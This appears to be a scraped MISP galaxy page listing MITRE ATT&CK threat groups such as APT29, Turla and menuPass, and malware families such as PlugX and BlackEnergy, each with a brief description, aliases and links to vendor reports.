https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf |
Dragonfly - G0035
Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. The group appeared to decrease activity following public exposure in 2014, and re-emerged in late 2015 through 2017. (Citation: Symantec Dragonfly) (Citation: Symantec Dragonfly) Sept 2017
Dragonfly - G0035 is also known as:
-
Dragonfly
-
Energetic Bear
Links |
Suckfly - G0039
Suckfly is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)
Suckfly - G0039 is also known as:
-
Suckfly
Links |
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates |
Stealth Falcon - G0038
Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)
Stealth Falcon - G0038 is also known as:
-
Stealth Falcon
Links |
BRONZE BUTLER - G0060
BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)
BRONZE BUTLER - G0060 is also known as:
-
BRONZE BUTLER
-
REDBALDKNIGHT
-
Tick
Links |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
Scarlet Mimic - G0029
Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)
Scarlet Mimic - G0029 is also known as:
-
Scarlet Mimic
Links |
Threat Group-1314 - G0028
Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure. (Citation: Dell TG-1314)
Threat Group-1314 - G0028 is also known as:
-
Threat Group-1314
-
TG-1314
Links |
http://www.secureworks.com/resources/blog/living-off-the-land/ |
Turla - G0010
Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. They are known for conducting watering hole and spearphishing campaigns. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017)
Turla - G0010 is also known as:
-
Turla
-
Waterbug
-
WhiteBear
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
Elderwood - G0066
Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)
Contributors: Valerii Marchuk, Cybersecurity Help s.r.o.
Elderwood - G0066 is also known as:
-
Elderwood
-
Elderwood Gang
-
Beijing Group
-
Sneaky Panda
Links |
APT29 - G0016
APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)
APT29 - G0016 is also known as:
-
APT29
-
The Dukes
-
Cozy Bear
-
CozyDuke
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
menuPass - G0045
menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017)
menuPass - G0045 is also known as:
-
menuPass
-
Stone Panda
-
APT10
-
Red Apollo
-
CVNX
Putter Panda - G0024
Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)
Putter Panda - G0024 is also known as:
-
Putter Panda
-
APT2
-
MSUpdater
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
Axiom - G0001
(Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)
Axiom - G0001 is also known as:
-
Axiom
-
Group 72
Links |
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf |
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf |
Magic Hound - G0059
Magic Hound is an espionage campaign operating primarily in the Middle East that dates back to at least mid-2016. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017)
Contributors: Bryan Lee
Magic Hound - G0059 is also known as:
-
Magic Hound
-
Rocket Kitten
-
Operation Saffron Rose
-
Ajax Security Team
-
Operation Woolen-Goldfish
-
Newscaster
-
Cobalt Gypsy
Links |
FIN8 - G0061
FIN8 is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)
FIN8 - G0061 is also known as:
-
FIN8
PROMETHIUM - G0056
PROMETHIUM is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)
PROMETHIUM - G0056 is also known as:
-
PROMETHIUM
Links |
Carbanak - G0008
Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)
Contributors: Anastasios Pingios
Carbanak - G0008 is also known as:
-
Carbanak
-
Anunak
-
Carbon Spider
Links |
https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf |
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
APT33 - G0064
APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)
APT33 - G0064 is also known as:
-
APT33
Links |
APT18 - G0026
APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)
APT18 - G0026 is also known as:
-
APT18
-
Threat Group-0416
-
TG-0416
-
Dynamite Panda
Links |
Leviathan - G0065
Leviathan is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)
Contributors: Valerii Marchuk, Cybersecurity Help s.r.o.
Leviathan - G0065 is also known as:
-
Leviathan
-
TEMP.Periscope
Links |
CopyKittens - G0052
CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)
CopyKittens - G0052 is also known as:
-
CopyKittens
Gamaredon Group - G0047
Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)
Gamaredon Group - G0047 is also known as:
-
Gamaredon Group
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ |
Enterprise Attack - Malware
Name of ATT&CK software.
Enterprise Attack - Malware is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
OLDBAIT - S0138
OLDBAIT is a credential harvester used by APT28. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017
Aliases: OLDBAIT, Sasfis
OLDBAIT - S0138 is also known as:
-
OLDBAIT
-
Sasfis
Links |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
PHOREAL - S0158
PHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)
Aliases: PHOREAL
PHOREAL - S0158 is also known as:
-
PHOREAL
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
CosmicDuke - S0050
CosmicDuke is malware that was used by APT29 from 2010 to 2015. (Citation: F-Secure The Dukes)
Aliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina
CosmicDuke - S0050 is also known as:
-
CosmicDuke
-
TinyBaron
-
BotgenStudios
-
NemesisGemina
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
H1N1 - S0132
H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)
Aliases: H1N1
H1N1 - S0132 is also known as:
-
H1N1
Links |
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities |
SPACESHIP - S0035
SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
Aliases: SPACESHIP
SPACESHIP - S0035 is also known as:
-
SPACESHIP
Links |
Hi-Zor - S0087
Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)
Aliases: Hi-Zor
Hi-Zor - S0087 is also known as:
-
Hi-Zor
Links |
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html |
TEXTMATE - S0146
TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)
Aliases: DNSMessenger, TEXTMATE
TEXTMATE - S0146 is also known as:
-
DNSMessenger
-
TEXTMATE
Links |
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html |
Net Crawler - S0056
Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. (Citation: Cylance Cleaver)
Aliases: Net Crawler, NetC
Net Crawler - S0056 is also known as:
-
Net Crawler
-
NetC
Links |
BlackEnergy - S0089
BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)
Aliases: BlackEnergy, Black Energy
BlackEnergy - S0089 is also known as:
-
BlackEnergy
-
Black Energy
Links |
https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf |
XAgentOSX - S0161
(Citation: XAgentOSX) is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. (Citation: XAgentOSX)
Aliases: (Citation: XAgentOSX)
XAgentOSX - S0161 is also known as:
-
XAgentOSX
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/ |
Pisloader - S0124
Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)
Aliases: Pisloader
Pisloader - S0124 is also known as:
-
Pisloader
Links |
Backdoor.Oldrea - S0093
Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)
Aliases: Backdoor.Oldrea, Havex
Backdoor.Oldrea - S0093 is also known as:
-
Backdoor.Oldrea
-
Havex
Links |
NanHaiShu - S0228
is a custom JavaScript backdoor used by Leviathan. (Citation: Proofpoint Leviathan Oct 2017)
Aliases: NanHaiShu
NanHaiShu - S0228 is also known as:
-
NanHaiShu
Links |
Starloader - S0188
Starloader is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)
Aliases: Starloader
Contributors: Alan Neville, @abnev
Starloader - S0188 is also known as:
-
Starloader
Links |
ChChes - S0144
ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)
Aliases: ChChes, Scorpion, HAYMAKER
ChChes - S0144 is also known as:
-
ChChes
-
Scorpion
-
HAYMAKER
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
Hacking Team UEFI Rootkit - S0047
Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)
Aliases: Hacking Team UEFI Rootkit
Hacking Team UEFI Rootkit - S0047 is also known as:
-
Hacking Team UEFI Rootkit
Links |
Hydraq - S0203
Hydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)
Aliases: Hydraq, Aurora, 9002 RAT
Hydraq - S0203 is also known as:
-
Hydraq
-
Aurora
-
9002 RAT
Links |
https://www.symantec.com/connect/blogs/trojanhydraq-incident |
https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html |
httpclient - S0068
httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)
Aliases: httpclient
httpclient - S0068 is also known as:
-
httpclient
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
Downdelph - S0134
Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)
Aliases: Downdelph, Delphacy
Downdelph - S0134 is also known as:
-
Downdelph
-
Delphacy
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
CCBkdr - S0222
CCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner’s distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)
Aliases: CCBkdr
CCBkdr - S0222 is also known as:
-
CCBkdr
StreamEx - S0142
StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)
Aliases: StreamEx
StreamEx - S0142 is also known as:
-
StreamEx
Links |
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar |
Psylo - S0078
Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)
Aliases: Psylo
Psylo - S0078 is also known as:
-
Psylo
Links |
HDoor - S0061
HDoor is malware that has been customized and used by the Naikon group. (Citation: Baumgartner Naikon 2015)
Aliases: HDoor, Custom HDoor
HDoor - S0061 is also known as:
-
HDoor
-
Custom HDoor
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
Smoke Loader - S0226
Smoke Loader is a bot that has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. (Citation: Malwarebytes SmokeLoader 2016)
Aliases: Smoke Loader, Dofoil
Smoke Loader - S0226 is also known as:
-
Smoke Loader
-
Dofoil
Links |
Janicab - S0163
(Citation: Janicab) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)
Aliases: (Citation: Janicab)
Janicab - S0163 is also known as:
-
Janicab
Links |
http://www.thesafemac.com/new-signed-malware-called-janicab/ |
WINERACK - S0219
is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)
Aliases: WINERACK
WINERACK - S0219 is also known as:
-
WINERACK
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
WINDSHIELD - S0155
WINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)
Aliases: WINDSHIELD
WINDSHIELD - S0155 is also known as:
-
WINDSHIELD
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
TinyZBot - S0004
TinyZBot is a bot written in C# that was developed by Cleaver. (Citation: Cylance Cleaver)
Aliases: TinyZBot
TinyZBot - S0004 is also known as:
-
TinyZBot
Links |
BACKSPACE - S0031
BACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)
Aliases: BACKSPACE, Lecna
BACKSPACE - S0031 is also known as:
-
BACKSPACE
-
Lecna
Links |
ZeroT - S0230
ZeroT is a Trojan used by TA459, often in conjunction with PlugX. (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)
Aliases: ZeroT
ZeroT - S0230 is also known as:
-
ZeroT
PinchDuke - S0048
PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)
Aliases: PinchDuke
PinchDuke - S0048 is also known as:
-
PinchDuke
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
CloudDuke - S0054
CloudDuke is malware that was used by APT29 in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)
Aliases: CloudDuke, MiniDionis, CloudLook
CloudDuke - S0054 is also known as:
-
CloudDuke
-
MiniDionis
-
CloudLook
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/ |
RedLeaves - S0153
RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)
Aliases: RedLeaves, BUGJUICE
RedLeaves - S0153 is also known as:
-
RedLeaves
-
BUGJUICE
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html |
WinMM - S0059
WinMM is a full-featured, simple backdoor used by Naikon. (Citation: Baumgartner Naikon 2015)
Aliases: WinMM
WinMM - S0059 is also known as:
-
WinMM
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
MobileOrder - S0079
MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)
Aliases: MobileOrder
MobileOrder - S0079 is also known as:
-
MobileOrder
Links |
Sys10 - S0060
Sys10 is a backdoor that was used throughout 2013 by Naikon. (Citation: Baumgartner Naikon 2015)
Aliases: Sys10
Sys10 - S0060 is also known as:
-
Sys10
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
Duqu - S0038
Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)
Aliases: Duqu
Duqu - S0038 is also known as:
-
Duqu
Links |
HAPPYWORK - S0214
is a downloader used by APT37 to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)
Aliases: HAPPYWORK
HAPPYWORK - S0214 is also known as:
-
HAPPYWORK
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
FakeM - S0076
FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)
Aliases: FakeM
FakeM - S0076 is also known as:
-
FakeM
Links |
SHIPSHAPE - S0028
SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
Aliases: SHIPSHAPE
SHIPSHAPE - S0028 is also known as:
-
SHIPSHAPE
Links |
T9000 - S0098
T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)
Aliases: T9000
T9000 - S0098 is also known as:
-
T9000
Links |
EvilGrab - S0152
EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)
Aliases: EvilGrab
EvilGrab - S0152 is also known as:
-
EvilGrab
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
BS2005 - S0014
BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)
Aliases: BS2005
BS2005 - S0014 is also known as:
-
BS2005
Links |
WEBC2 - S0109
WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)
Aliases: WEBC2
WEBC2 - S0109 is also known as:
-
WEBC2
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip |
PlugX - S0013
PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)
Aliases: PlugX, Sogu, Kaba, Korplug
PlugX - S0013 is also known as:
-
PlugX
-
Sogu
-
Kaba
-
Korplug
Links |
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html |
Reaver - S0172
Reaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of . (Citation: Palo Alto Reaver Nov 2017)
Aliases: Reaver
Reaver - S0172 is also known as:
-
Reaver
Links |
Misdat - S0083
Misdat is a backdoor that was used by Dust Storm from 2010 to 2011. (Citation: Cylance Dust Storm)
Aliases: Misdat
Misdat - S0083 is also known as:
-
Misdat
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf |
Komplex - S0162
Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to (Citation: XAgentOSX) (Citation: XAgentOSX) (Citation: Sofacy Komplex Trojan).
Aliases: Komplex
Komplex - S0162 is also known as:
-
Komplex
Taidoor - S0011
Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)
Aliases: Taidoor
Taidoor - S0011 is also known as:
-
Taidoor
Links |
MoonWind - S0149
MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)
Aliases: MoonWind
MoonWind - S0149 is also known as:
-
MoonWind
Links |
Crimson - S0115
Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)
Aliases: Crimson, MSIL/Crimson
Crimson - S0115 is also known as:
-
Crimson
-
MSIL/Crimson
Links |
Rover - S0090
Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)
Aliases: Rover
Rover - S0090 is also known as:
-
Rover
Links |
ZLib - S0086
ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)
Aliases: ZLib
ZLib - S0086 is also known as:
-
ZLib
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf |
PowerDuke - S0139
PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)
Aliases: PowerDuke
PowerDuke - S0139 is also known as:
-
PowerDuke
Links |
HTTPBrowser - S0070
HTTPBrowser is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)
Aliases: HTTPBrowser, Token Control, HttpDump
HTTPBrowser - S0070 is also known as:
-
HTTPBrowser
-
Token Control
-
HttpDump
Links |
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/ |
HAMMERTOSS - S0037
HAMMERTOSS is a backdoor that was used by APT29 in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)
Aliases: HAMMERTOSS, HammerDuke, NetDuke
HAMMERTOSS - S0037 is also known as:
-
HAMMERTOSS
-
HammerDuke
-
NetDuke
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
PoisonIvy - S0012
PoisonIvy is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy)
Aliases: PoisonIvy, Poison Ivy
PoisonIvy - S0012 is also known as:
-
PoisonIvy
-
Poison Ivy
Links |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
SHUTTERSPEED - S0217
SHUTTERSPEED is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)
Aliases: SHUTTERSPEED
SHUTTERSPEED - S0217 is also known as:
-
SHUTTERSPEED
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
Carbanak - S0030
Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)
Aliases: Carbanak, Anunak
Carbanak - S0030 is also known as:
-
Carbanak
-
Anunak
Links |
https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf |
POWERSTATS - S0223
POWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater. (Citation: Unit 42 MuddyWater Nov 2017)
Aliases: POWERSTATS
POWERSTATS - S0223 is also known as:
-
POWERSTATS
Links |
Ixeshe - S0015
Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)
Aliases: Ixeshe
Ixeshe - S0015 is also known as:
-
Ixeshe
Links |
BADNEWS - S0128
BADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)
Aliases: BADNEWS
BADNEWS - S0128 is also known as:
-
BADNEWS
Links |
FLIPSIDE - S0173
FLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)
Aliases: FLIPSIDE
FLIPSIDE - S0173 is also known as:
-
FLIPSIDE
Links |
Flame - S0143
Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)
Aliases: Flame, Flamer, sKyWIper
Flame - S0143 is also known as:
-
Flame
-
Flamer
-
sKyWIper
Links |
https://securelist.com/the-flame-questions-and-answers-51/34344/ |
RIPTIDE - S0003
RIPTIDE is a proxy-aware backdoor used by APT12. (Citation: Moran 2014)
Aliases: RIPTIDE
RIPTIDE - S0003 is also known as:
-
RIPTIDE
Links |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
Daserf - S0187
Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)
Aliases: Daserf, Muirim, Nioupale
Daserf - S0187 is also known as:
-
Daserf
-
Muirim
-
Nioupale
Links |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
CozyCar - S0046
CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)
Aliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT
CozyCar - S0046 is also known as:
-
CozyCar
-
CozyDuke
-
CozyBear
-
Cozer
-
EuroAPT
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
Mivast - S0080
Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)
Aliases: Mivast
Mivast - S0080 is also known as:
-
Mivast
Links |
